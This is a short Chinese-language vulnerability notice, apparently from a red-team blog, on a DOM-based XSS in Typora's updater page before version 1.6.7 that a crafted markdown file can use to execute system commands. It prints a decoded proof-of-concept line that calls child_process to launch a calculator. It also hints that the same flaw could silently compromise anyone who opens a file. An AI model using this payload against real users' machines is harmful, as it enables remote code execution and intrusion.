0.漏洞概述
感觉现在很多人都在用老版本的Typora。并且打开Markdown前应该也不会审计什么的，所以说很容易中招。该漏洞POC已经公开，注意防范。
1.漏洞情报
Windows和Linux版本1.6.7之前的Typora中的updater/update.html中存在基于DOM的XSS，该漏洞允许通过加载特制的markdown文件从而使得执行任意JavaScript代码。如果用户打开恶意markdown文件或者从恶意网页复制文本并将其粘贴到Typora，通过在＜embed＞标签中引用update.html，则可以利用此漏洞，此外，攻击者可以使用特权接口reqnode访问节点模块child_process并执行任意系统命令。
2.漏洞利用
点我下载
Base64解密后就是这样
reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
可以看到这里可以任意命令执行，那么其实很容易就能直接点击文档，无感上线，具体方式自行研究。
https://www.redteam.wang/